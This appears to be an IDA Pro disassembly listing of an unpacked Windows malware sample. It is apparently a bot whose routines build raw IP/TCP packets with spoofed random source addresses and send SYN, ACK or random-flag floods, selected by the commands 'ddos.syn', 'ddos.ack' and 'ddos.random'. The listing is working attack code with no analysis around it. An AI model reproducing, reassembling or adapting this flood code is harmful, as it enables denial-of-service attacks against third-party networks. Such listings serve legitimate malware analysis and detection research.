;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 714E6D95E94CE79A719357BC88E9EB0E
; File Name : u:\work\714e6d95e94ce79a719357bc88e9eb0e_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 0007B000 ( 503808.)
; Section size in file : 0007B000 ( 503808.)
; Offset to raw data for section: 00001000
; Flags D0000040: Data Shareable Readable Writable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write
_nsp0 segment para public 'DATA' use32
assume cs:_nsp0
;org 401000h
assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401000 proc near ; CODE XREF: start+272j
; DATA XREF: sub_40CE55+38E0o ...
var_494 = byte ptr -494h
var_294 = dword ptr -294h
var_290 = dword ptr -290h
var_28C = byte ptr -28Ch
var_20C = byte ptr -20Ch
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_8C = byte ptr -8Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 494h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0A5h
mov esi, eax
lea edi, [ebp+var_294]
rep movsd
mov dword ptr [eax+290h], 1
call dword_42104C
push eax
call sub_415539
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_20C]
push eax
lea eax, [ebp+var_28C]
push eax
call sub_4013E9
push eax
lea eax, [ebp+var_494]
push offset unk_423050
push eax
call sub_4154E7
xor esi, esi
add esp, 20h
cmp [ebp+var_8], esi
jnz short loc_401090
push esi
lea eax, [ebp+var_494]
push [ebp+var_C]
push eax
lea eax, [ebp+var_10C]
push eax
push [ebp+var_294]
call sub_412D4C
add esp, 14h
loc_401090: ; CODE XREF: sub_401000+6Ej
lea eax, [ebp+var_494]
push eax
call sub_40B16D
push [ebp+var_290]
call sub_4152AF
pop ecx
pop ecx
push esi
call dword_421048
pop edi
pop esi
sub_401000 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4010B2 proc near ; CODE XREF: sub_4013E9+40p
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = word ptr -58h
var_56 = word ptr -56h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_32 = word ptr -32h
var_30 = word ptr -30h
var_2E = word ptr -2Eh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = word ptr -6
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_43A330
test eax, eax
jz short loc_4010F2
xor eax, eax
jmp loc_4013E5
; ---------------------------------------------------------------------------
loc_4010F2: ; CODE XREF: sub_4010B2+37j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_43A45C
cmp eax, 0FFFFFFFFh
mov [ebp+var_20], eax
jz loc_4013DD
push esi
lea ecx, [ebp+var_40]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_40], edi
call dword_43A398
cmp eax, 0FFFFFFFFh
jz loc_4013D3
push [ebp+arg_C]
mov [ebp+var_58], 2
call dword_43A3B8
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_56], ax
mov [ebp+var_54], esi
mov [ebp+var_34], 45h
call dword_43A3B8
push [ebp+arg_C]
mov [ebp+var_32], ax
mov [ebp+var_30], di
mov [ebp+var_2E], bx
mov [ebp+var_2C], 80h
mov [ebp+var_2B], 6
mov [ebp+var_2A], bx
mov [ebp+var_24], esi
call dword_43A3B8
mov [ebp+var_12], ax
call sub_415543
movzx eax, ax
cdq
mov ecx, 401h
idiv ecx
push edx
call dword_43A3B8
push 12345678h
mov [ebp+var_14], ax
call dword_43A3B4
push offset aDdos_syn ; "ddos.syn"
mov [ebp+var_10], eax
push [ebp+arg_8]
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_4011C2
mov [ebp+var_C], ebx
mov [ebp+var_7], 2
jmp short loc_401216
; ---------------------------------------------------------------------------
loc_4011C2: ; CODE XREF: sub_4010B2+105j
push offset aDdos_ack ; "ddos.ack"
push [ebp+arg_8]
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_4011DE
mov [ebp+var_C], ebx
mov [ebp+var_7], 10h
jmp short loc_401216
; ---------------------------------------------------------------------------
loc_4011DE: ; CODE XREF: sub_4010B2+121j
push offset aDdos_random ; "ddos.random"
push [ebp+arg_8]
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_401216
call sub_415543
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_C], edx
call sub_415543
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_7], dl
loc_401216: ; CODE XREF: sub_4010B2+10Ej
; sub_4010B2+12Aj ...
push 4000h
mov [ebp+var_8], 50h
call dword_43A3B8
mov [ebp+var_6], ax
lea eax, [ebp+var_48]
push eax
mov [ebp+var_2], bx
mov [ebp+arg_8], ebx
call dword_421054
lea eax, [ebp+var_1C]
push eax
call dword_421050
push [ebp+var_44]
mov eax, [ebp+arg_10]
cdq
push [ebp+var_48]
push edx
push eax
call sub_4159A0
add eax, [ebp+var_1C]
push 14h
pop esi
adc edx, [ebp+var_18]
mov [ebp+var_3C], eax
mov [ebp+var_38], edx
loc_401264: ; CODE XREF: sub_4010B2+2E2j
; sub_4010B2+2F0j
mov [ebp+var_4], bx
call sub_415543
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_43A3B8
mov [ebp+var_14], ax
call sub_415543
mov edi, eax
shl edi, 10h
call sub_415543
or edi, eax
push edi
call dword_43A3B8
movzx eax, ax
mov [ebp+var_10], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_43A3B4
mov [ebp+var_28], eax
mov eax, [ebp+var_24]
push esi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_43A3B8
mov [ebp+var_6E], ax
mov eax, [ebp+var_28]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call sub_4155D0
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_94]
push eax
call sub_4155D0
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40A1CA
mov [ebp+var_4], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_4155D0
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_A0]
push eax
call sub_4155D0
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_415570
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40A1CA
mov [ebp+var_2A], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_4155D0
add esp, 14h
lea eax, [ebp+var_58]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_20]
call dword_43A41C
cmp eax, 0FFFFFFFFh
jz short loc_4013A7
add [ebp+arg_8], eax
lea eax, [ebp+var_1C]
push eax
call dword_421050
mov eax, [ebp+var_18]
cmp eax, [ebp+var_38]
jg short loc_4013D0
jl loc_401264
mov eax, [ebp+var_1C]
cmp eax, [ebp+var_3C]
jnb short loc_4013D0
jmp loc_401264
; ---------------------------------------------------------------------------
loc_4013A7: ; CODE XREF: sub_4010B2+2CBj
call dword_43A34C
push eax
lea eax, [ebp+var_F4]
push offset unk_42308C
push eax
call sub_4154E7
lea eax, [ebp+var_F4]
push eax
call sub_40B16D
add esp, 10h
jmp short loc_4013D3
; ---------------------------------------------------------------------------
loc_4013D0: ; CODE XREF: sub_4010B2+2E0j
; sub_4010B2+2EEj
mov ebx, [ebp+arg_8]
loc_4013D3: ; CODE XREF: sub_4010B2+78j
; sub_4010B2+31Cj
push [ebp+var_20]
call dword_43A450
pop esi
loc_4013DD: ; CODE XREF: sub_4010B2+5Bj
call dword_43A318
mov eax, ebx
loc_4013E5: ; CODE XREF: sub_4010B2+3Bj
pop edi
pop ebx
leave
retn
sub_4010B2 endp
; =============== S U B R O U T I N E =======================================
sub_4013E9 proc near ; CODE XREF: sub_401000+4Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_40A05B
push [esp+10h+arg_4]
mov esi, eax
call sub_415A5F
push [esp+14h+arg_C]
mov ebx, eax
call sub_415A5F
mov edi, eax
call sub_415543
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
push [esp+20h+arg_8]
lea eax, [edx+esi+100h]
push eax
push esi
call sub_4010B2
add esp, 20h
test eax, eax
jnz short loc_401438
push 1
pop eax
loc_401438: ; CODE XREF: sub_4013E9+4Aj
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_4013E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401447 proc near ; DATA XREF: sub_40CE55+3AC8o
var_3BC = byte ptr -3BCh
var_1BC = dword ptr -1BCh
var_1B8 = byte ptr -1B8h
var_138 = byte ptr -138h
var_B8 = byte ptr -0B8h
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3BCh
push ebx
push esi
mov eax, [ebp+arg_0]
push edi
push 68h
mov esi, eax
pop ecx
lea edi, [ebp+var_1BC]
push 1
pop ebx
push 0FFh
push 3
rep movsd
push 2
mov [eax+19Ch], ebx
call dword_43A438
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_4014E2
call dword_43A34C
push eax
lea eax, [ebp+var_3BC]
push offset unk_42322C
loc_401495: ; DATA XREF: .nsp0:off_424D5Co
; .nsp0:off_425D04o
push eax
call sub_4154E7
xor edi, edi
add esp, 0Ch
cmp [ebp+var_24], edi
jnz short loc_4014C5
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_412D4C
add esp, 14h
loc_4014C5: ; CODE XREF: sub_401447+5Cj
lea eax, [ebp+var_3BC]
push eax
call sub_40B16D
push [ebp+var_38]
call sub_4152AF
pop ecx
pop ecx
push edi
call dword_421048
loc_4014E2: ; CODE XREF: sub_401447+3Aj
lea ecx, [ebp+var_C]
push 4
push ecx
xor edi, edi
push 2
push edi
push eax
mov [ebp+var_C], ebx
call dword_43A398
cmp eax, 0FFFFFFFFh
jnz short loc_401559
call dword_43A34C
push eax
lea eax, [ebp+var_3BC]
push offset unk_4231E0
push eax
call sub_4154E7
add esp, 0Ch
cmp [ebp+var_24], edi
jnz short loc_40153C
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_412D4C
add esp, 14h
loc_40153C: ; CODE XREF: sub_401447+D3j
lea eax, [ebp+var_3BC]
push eax
call sub_40B16D
push [ebp+var_38]
call sub_4152AF
pop ecx
pop ecx
push edi
call dword_421048
loc_401559: ; CODE XREF: sub_401447+B3j
lea eax, [ebp+var_1B8]
push eax
call dword_43A3F8
cmp eax, 0FFFFFFFFh
jnz short loc_4015C0
lea eax, [ebp+var_3BC]
push offset unk_4231AC
push eax
call sub_4154E7
cmp [ebp+var_24], edi
pop ecx
pop ecx
jnz short loc_4015A3
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_412D4C
add esp, 14h
loc_4015A3: ; CODE XREF: sub_401447+13Aj
lea eax, [ebp+var_3BC]
push eax
call sub_40B16D
push [ebp+var_38]
call sub_4152AF
pop ecx
pop ecx
push edi
call dword_421048
loc_4015C0: ; CODE XREF: sub_401447+122j
push 10h
lea eax, [ebp+var_1C]
push edi
push eax
call sub_415570
add esp, 0Ch
mov [ebp+var_1C], 2
push edi
call dword_43A3B8
mov [ebp+var_1A], ax
lea eax, [ebp+var_1B8]
push eax
call dword_43A3F8
mov esi, dword_42104C
mov [ebp+var_18], eax
mov [ebp+arg_0], edi
call esi
mov [ebp+var_8], eax
loc_4015FE: ; CODE XREF: sub_401447+2E8j
call esi
sub eax, [ebp+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+var_30]
ja loc_4017A9
push 41Ch
mov byte_438BB8, 45h
call dword_43A3B8
cmp [ebp+var_2C], edi
mov word_438BBA, ax
mov word_438BBC, bx
mov word_438BBE, di
mov byte_438BC0, 80h
mov byte_438BC1, bl
mov word_438BC2, di
jz short loc_401684
call sub_415543
mov ebx, eax
shl ebx, 8
call sub_415543
add ebx, eax
shl ebx, 8
call sub_415543
add ebx, eax
shl ebx, 8
call sub_415543
add ebx, eax
push 1
mov dword_438BC4, ebx
pop ebx
jmp short loc_40169C
; ---------------------------------------------------------------------------
loc_401684: ; CODE XREF: sub_401447+20Bj
push [ebp+var_1BC]
call sub_40A171
pop ecx
push eax
call dword_43A3F8
mov dword_438BC4, eax
loc_40169C: ; CODE XREF: sub_401447+23Bj
mov eax, [ebp+var_18]
mov dword_438BC8, eax
call sub_415543
cdq
mov ecx, 100h
idiv ecx
mov byte_438BCC, dl
call sub_415543
cdq
mov ecx, 100h
idiv ecx
mov byte_438BCD, dl
call sub_415543
cdq
mov ecx, 0F0h
push 400h
idiv ecx
mov word_438BCE, di
mov word_438BD2, bx
inc edx
mov word_438BD0, dx
call sub_415543
cdq
mov ecx, 0FFh
idiv ecx
push edx
push offset dword_438BD4
call sub_415570
add esp, 0Ch
lea eax, [ebp+var_1C]
push 10h
push eax
push edi
push 41Ch
push offset byte_438BB8
push [ebp+var_4]
call dword_43A41C
cmp eax, 0FFFFFFFFh
jz short loc_401734
inc [ebp+arg_0]
jmp loc_4015FE
; ---------------------------------------------------------------------------
loc_401734: ; CODE XREF: sub_401447+2E3j
push [ebp+var_4]
call dword_43A450
call dword_43A34C
push eax
lea eax, [ebp+var_1B8]
push [ebp+arg_0]
push eax
push offset unk_423148
lea eax, [ebp+var_3BC]
push 200h
push eax
call sub_415A6A
add esp, 18h
cmp [ebp+var_24], edi
jnz short loc_40178C
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_412D4C
add esp, 14h
loc_40178C: ; CODE XREF: sub_401447+323j
lea eax, [ebp+var_3BC]
push eax
call sub_40B16D
push [ebp+var_38]
call sub_4152AF
pop ecx
pop ecx
push edi
call dword_421048
loc_4017A9: ; CODE XREF: sub_401447+1C8j
push [ebp+var_4]
call dword_43A450
mov eax, [ebp+arg_0]
xor edx, edx
imul eax, 3Ch
mov ecx, eax
shr eax, 0Ah
div [ebp+var_30]
shr ecx, 14h
push ecx
push eax
lea eax, [ebp+var_1B8]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_138]
push eax
lea eax, [ebp+var_3BC]
push offset unk_4230E4
push eax
call sub_4154E7
add esp, 1Ch
cmp [ebp+var_24], edi
jnz short loc_401811
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_412D4C
add esp, 14h
loc_401811: ; CODE XREF: sub_401447+3A8j
lea eax, [ebp+var_3BC]
push eax
call sub_40B16D
push [ebp+var_38]
call sub_4152AF
pop ecx
pop ecx
push edi
call dword_421048
sub_401447 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40182E proc near ; DATA XREF: sub_40CE55+37D1o
var_414 = byte ptr -414h
var_214 = dword ptr -214h
var_210 = byte ptr -210h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 85h
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_190]
push eax
lea eax, [ebp+var_210]
push eax
call sub_401B7C
push eax
lea eax, [ebp+var_414]
push offset dword_423274
push eax
call sub_4154E7
xor esi, esi
add esp, 18h
cmp [ebp+var_8], esi
jnz short loc_4018AB
push esi
lea eax, [ebp+var_414]
push [ebp+var_C]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+var_214]
call sub_412D4C
add esp, 14h
loc_4018AB: ; CODE XREF: sub_40182E+5Bj
lea eax, [ebp+var_414]
push eax
call sub_40B16D
push [ebp+var_10]
call sub_4152AF
pop ecx
pop ecx
push esi
call dword_421048
pop edi
pop esi
sub_40182E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4018CA proc near ; CODE XREF: sub_401B7C+3Cp
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = dword ptr -58h
var_50 = word ptr -50h
var_4E = word ptr -4Eh
var_4C = dword ptr -4Ch
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = word ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_27 = byte ptr -27h
var_26 = word ptr -26h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = byte ptr -20h
var_1E = word ptr -1Eh
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_43A330
test eax, eax
jz short loc_40190A
xor eax, eax
jmp loc_401B78
; ---------------------------------------------------------------------------
loc_40190A: ; CODE XREF: sub_4018CA+37j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_43A45C
cmp eax, 0FFFFFFFFh
mov [ebp+var_C], eax
jz loc_401B70
push esi
lea ecx, [ebp+var_38]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_38], edi
call dword_43A398
cmp eax, 0FFFFFFFFh
jz loc_401B66
push 10h
lea eax, [ebp+var_50]
push ebx
push eax
call sub_415570
add esp, 0Ch
mov [ebp+var_50], 2
push [ebp+arg_8]
call dword_43A3B8
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_4E], ax
mov [ebp+var_4C], esi
mov [ebp+var_20], 45h
call dword_43A3B8
push [ebp+arg_8]
mov [ebp+var_1E], ax
mov [ebp+var_1C], di
mov [ebp+var_1A], bx
mov [ebp+var_18], 80h
mov [ebp+var_17], 6
mov [ebp+var_16], bx
mov [ebp+var_10], esi
call dword_43A3B8
push 4000h
mov [ebp+var_32], ax
mov [ebp+var_2C], ebx
mov [ebp+var_28], 50h
mov [ebp+var_27], 2
call dword_43A3B8
mov [ebp+var_26], ax
lea eax, [ebp+var_40]
push eax
mov [ebp+var_22], bx
mov [ebp+arg_8], ebx
call dword_421054
lea eax, [ebp+var_8]
push eax
call dword_421050
push [ebp+var_3C]
mov eax, [ebp+arg_C]
cdq
push [ebp+var_40]
push edx
push eax
call sub_4159A0
add eax, [ebp+var_8]
mov esi, edx
adc esi, [ebp+var_4]
mov [ebp+var_58], eax
loc_4019F5: ; CODE XREF: sub_4018CA+25Dj
; sub_4018CA+26Bj
mov [ebp+var_24], bx
call sub_415543
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_43A3B8
mov [ebp+var_34], ax
call sub_415543
mov edi, eax
shl edi, 10h
call sub_415543
or edi, eax
push edi
call dword_43A3B8
movzx eax, ax
mov [ebp+var_30], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_43A3B4
push 14h
mov [ebp+var_14], eax
mov eax, [ebp+var_10]
pop edi
push edi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_43A3B8
mov [ebp+var_6E], ax
mov eax, [ebp+var_14]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call sub_4155D0
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_94]
push eax
call sub_4155D0
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40A1CA
mov [ebp+var_24], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_4155D0
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_A0]
push eax
call sub_4155D0
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_415570
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40A1CA
mov [ebp+var_16], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_4155D0
add esp, 14h
lea eax, [ebp+var_50]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_C]
call dword_43A41C
cmp eax, 0FFFFFFFFh
jz short loc_401B3A
add [ebp+arg_8], eax
lea eax, [ebp+var_8]
push eax
call dword_421050
mov eax, [ebp+var_4]
cmp eax, esi
jg short loc_401B63
jl loc_4019F5
mov eax, [ebp+var_8]
cmp eax, [ebp+var_58]
jnb short loc_401B63
jmp loc_4019F5
; ---------------------------------------------------------------------------
loc_401B3A: ; CODE XREF: sub_4018CA+247j
call dword_43A34C
push eax
lea eax, [ebp+var_F4]
push offset dword_4232B0
push eax
call sub_4154E7
lea eax, [ebp+var_F4]
push eax
call sub_40B16D
add esp, 10h
jmp short loc_401B66
; ---------------------------------------------------------------------------
loc_401B63: ; CODE XREF: sub_4018CA+25Bj
; sub_4018CA+269j
mov ebx, [ebp+arg_8]
loc_401B66: ; CODE XREF: sub_4018CA+78j
; sub_4018CA+297j
push [ebp+var_C]
call dword_43A450
pop esi
loc_401B70: ; CODE XREF: sub_4018CA+5Bj
call dword_43A318
mov eax, ebx
loc_401B78: ; CODE XREF: sub_4018CA+3Bj
pop edi
pop ebx
leave
retn
sub_4018CA endp
; =============== S U B R O U T I N E =======================================
sub_401B7C proc near ; CODE XREF: sub_40182E+3Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_40A05B
push [esp+10h+arg_4]
mov esi, eax
call sub_415A5F
push [esp+14h+arg_8]
mov ebx, eax
call sub_415A5F
mov edi, eax
call sub_415543
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
lea eax, [edx+esi+100h]
push eax
push esi
call sub_4018CA
add esp, 1Ch
test eax, eax
jnz short loc_401BC7
push 1
pop eax
loc_401BC7: ; CODE XREF: sub_401B7C+46j
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_401B7C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401BD6 proc near ; DATA XREF: sub_40CE55+2C1Eo
var_440 = byte ptr -440h
var_240 = dword ptr -240h
var_23C = byte ptr -23Ch
var_1BC = byte ptr -1BCh
var_13C = byte ptr -13Ch
var_BC = dword ptr -0BCh
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A0 = byte ptr -0A0h
var_9F = byte ptr -9Fh
var_8C = byte ptr -8Ch
var_80 = byte ptr -80h
var_78 = byte ptr -78h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = byte ptr -5Ch
var_5B = byte ptr -5Bh
var_5A = word ptr -5Ah
var_44 = word ptr -44h
var_42 = word ptr -42h
var_40 = dword ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_2A = word ptr -2Ah
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = byte ptr -24h
var_23 = byte ptr -23h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_B = byte ptr -0Bh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 440h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 68h
mov esi, eax
pop ecx
lea edi, [ebp+var_240]
rep movsd
push 1
xor ebx, ebx
pop esi
lea edi, [ebp+var_9F]
push 0Eh
mov [eax+19Ch], esi
pop ecx
xor eax, eax
mov [ebp+var_A0], bl
rep stosd
stosw
stosb
mov edi, dword_42104C
call edi
push eax
call sub_415539
pop ecx
push 0FFh
push 3
push 2
call dword_43A438
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_401C9F
call dword_43A34C
push eax
lea eax, [ebp+var_440]
push offset dword_423438
push eax
call sub_4154E7
add esp, 0Ch
cmp [ebp+var_A8], ebx
jnz short loc_401C7F
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_412D4C
add esp, 14h
loc_401C7F: ; CODE XREF: sub_401BD6+84j
lea eax, [ebp+var_440]
push eax
call sub_40B16D
push [ebp+var_BC]
call sub_4152AF
pop ecx
pop ecx
push ebx
call dword_421048
loc_401C9F: ; CODE XREF: sub_401BD6+61j
lea ecx, [ebp+var_34]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_34], esi
call dword_43A398
cmp eax, 0FFFFFFFFh
jnz short loc_401D1D
call dword_43A34C
push eax
lea eax, [ebp+var_440]
push offset dword_4233EC
push eax
call sub_4154E7
add esp, 0Ch
cmp [ebp+var_A8], ebx
jnz short loc_401CFD
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_412D4C
add esp, 14h
loc_401CFD: ; CODE XREF: sub_401BD6+102j
lea eax, [ebp+var_440]
push eax
call sub_40B16D
push [ebp+var_BC]
call sub_4152AF
pop ecx
pop ecx
push ebx
call dword_421048
loc_401D1D: ; CODE XREF: sub_401BD6+DFj
lea eax, [ebp+var_23C]
push eax
call dword_43A3F8
cmp eax, 0FFFFFFFFh
jnz short loc_401D8D
lea eax, [ebp+var_440]
push offset dword_4233B8
push eax
call sub_4154E7
cmp [ebp+var_A8], ebx
pop ecx
pop ecx
jnz short loc_401D6D
push ebx
